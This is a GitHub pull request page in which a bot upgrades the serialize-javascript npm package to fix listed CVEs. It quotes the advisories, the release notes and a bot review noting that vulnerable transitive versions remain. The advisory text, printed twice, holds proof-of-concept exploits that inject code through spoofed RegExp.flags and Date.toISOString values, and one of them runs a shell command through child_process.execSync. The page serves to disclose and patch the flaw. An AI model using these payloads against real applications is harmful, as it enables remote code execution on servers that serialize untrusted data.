Update dependency serialize-javascript to v7 [SECURITY] by renovate[bot] · Pull Request #3342 · mitodl/mitxonline

renovate · 2026-03-02T02:37:58Z

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	`6.0.2` → `7.0.5`

GitHub Vulnerability Alerts

CVE-2024-11831

A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2026-34043

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function.
Ensuring the environment is protected against Prototype Pollution.
Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v

More information

Details

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function.
Ensuring the environment is protected against Prototype Pollution.
Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

yahoo/serialize-javascript (serialize-javascript)

`v7.0.5`

Compare Source

Fixes

Improve robustness and validation for array-like object serialization.
Fix an issue where certain object structures could lead to excessive CPU usage.

For more details, please see GHSA-qj8w-gfj5-8c6v.

`v7.0.4`

Compare Source

What's Changed

release: v7.0.4 by @okuryu in #211

Full Changelog: yahoo/serialize-javascript@v7.0.3...v7.0.4

`v7.0.3`

Compare Source

fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#207) 2e609d0
build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#206) 42b7cdb

`v7.0.2`

Compare Source

What's Changed

ci: bump GitHub Actions to latest versions by @okuryu in #203
ci: setup trusted publishing workflow by @okuryu in #204
release: v7.0.2 by @okuryu in #205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

`v7.0.1`

Compare Source

What's Changed

Add warning about using this package to send arbitrary data to worker threads by @valadaptive in #200
security: sanitize function bodies by @redonkulus in #199
docs: tweak README by @okuryu in #201
release: v7.0.1 by @okuryu in #202

New Contributors

@redonkulus made their first contribution in #199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

`v7.0.0`

Compare Source

Breaking Changes

requires Node.js v20+

What's Changed

Bump mocha from 10.2.0 to 10.4.0 by @dependabot[bot] in #178
Bump mocha from 10.4.0 to 10.5.2 by @dependabot[bot] in #183
Bump nyc from 15.1.0 to 17.0.0 by @dependabot[bot] in #184
Bump braces from 3.0.2 to 3.0.3 by @dependabot[bot] in #181
Bump mocha from 10.5.2 to 10.7.0 by @dependabot[bot] in #185
Bump mocha from 10.7.0 to 10.7.3 by @dependabot[bot] in #186
Bump nyc from 17.0.0 to 17.1.0 by @dependabot[bot] in #187
Bump mocha from 10.7.3 to 10.8.2 by @dependabot[bot] in #188
feat: test on Node.js 22 and built-in test runner by @okuryu in #192
Generate UID without randombytes dependency by @valadaptive in #196
release: v7.0.0 by @okuryu in #197

New Contributors

@valadaptive made their first contribution in #196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

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github-actions · 2026-03-02T02:38:16Z

OpenAPI Changes

Show/hide ## Changes for v0.yaml:

## Changes for v0.yaml:
No changes detected

## Changes for v1.yaml:
No changes detected

## Changes for v2.yaml:
No changes detected

Unexpected changes? Ensure your branch is up-to-date with main (consider rebasing).

sentry · 2026-03-05T19:38:26Z

+"serialize-javascript@npm:^6.0.0, serialize-javascript@npm:^6.0.2":
+  version: 6.0.2
+  resolution: "serialize-javascript@npm:6.0.2"
+  dependencies:
+    randombytes: ^2.1.0
+  checksum: c4839c6206c1d143c0f80763997a361310305751171dd95e4b57efee69b8f6edd8960a0b7fbfc45042aadff98b206d55428aee0dc276efe54f100899c7fa8ab7
+  languageName: node
+  linkType: hard


Bug: The serialize-javascript dependency upgrade is incomplete. Vulnerable versions remain in the yarn.lock file due to transitive dependencies, leaving a potential security risk.
_{Severity: HIGH}

Suggested Fix

Add a resolutions field to the root package.json file to force all transitive dependencies of serialize-javascript to resolve to the new, secure version (e.g., 7.0.3). After updating package.json, run yarn install to regenerate the yarn.lock file and ensure all instances are upgraded.

Prompt for AI Agent

Review the code at the location below. A potential bug has been identified by an AI agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's not valid. Location: yarn.lock#L21032-L21039 Potential issue: The pull request attempts to upgrade `serialize-javascript` to fix a security vulnerability. However, the fix is incomplete. While the direct dependency in `package.json` is updated, the `yarn.lock` file shows that transitive dependencies still pull in vulnerable versions of `serialize-javascript` (e.g., `6.0.2`, `6.0.0`, `4.0.0`). Without a `resolutions` entry in `package.json` to force all instances to the patched version, the application remains susceptible to the original cross-site scripting (XSS) vulnerability if any of these transitive dependencies are used in a way that serializes user-controlled data for client-side evaluation.

_{Did we get this right? 👍 / 👎 to inform future reviews.}

renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 12 times, most recently from ba5ead1 to 3d6f278 Compare March 5, 2026 19:36

sentry bot reviewed Mar 5, 2026

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renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 9 times, most recently from 9529b13 to 39803e3 Compare March 9, 2026 22:03

renovate bot changed the title ~~fix(deps): update dependency serialize-javascript to v7 [security]~~ Update dependency serialize-javascript to v7 [SECURITY] Mar 9, 2026

renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 6 times, most recently from 0fe9b03 to 6a64473 Compare March 11, 2026 19:26

renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 19 times, most recently from ca90577 to e0b4c12 Compare March 24, 2026 13:01

renovate bot changed the title ~~Update dependency serialize-javascript to v7 [SECURITY]~~ fix(deps): update dependency serialize-javascript to v7 [security] Mar 24, 2026

renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 8 times, most recently from 3dc2ff1 to 1926bfe Compare March 26, 2026 18:42

Update dependency serialize-javascript to v7 [SECURITY]

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rhysyngsun approved these changes Apr 16, 2026

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Update dependency serialize-javascript to v7 [SECURITY]#3342

Update dependency serialize-javascript to v7 [SECURITY]#3342
rhysyngsun merged 1 commit intomainfrom
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GitHub Vulnerability Alerts

Severity

Impact

Patches

Severity

Impact

Patches

Workarounds

Acknowledgements

Severity

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Details

Impact

Patches

Severity

References

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

Details

Impact

Patches

Workarounds

Acknowledgements

Severity

References

Release Notes

Fixes

What's Changed

What's Changed

What's Changed

New Contributors

Breaking Changes

What's Changed

New Contributors

Configuration

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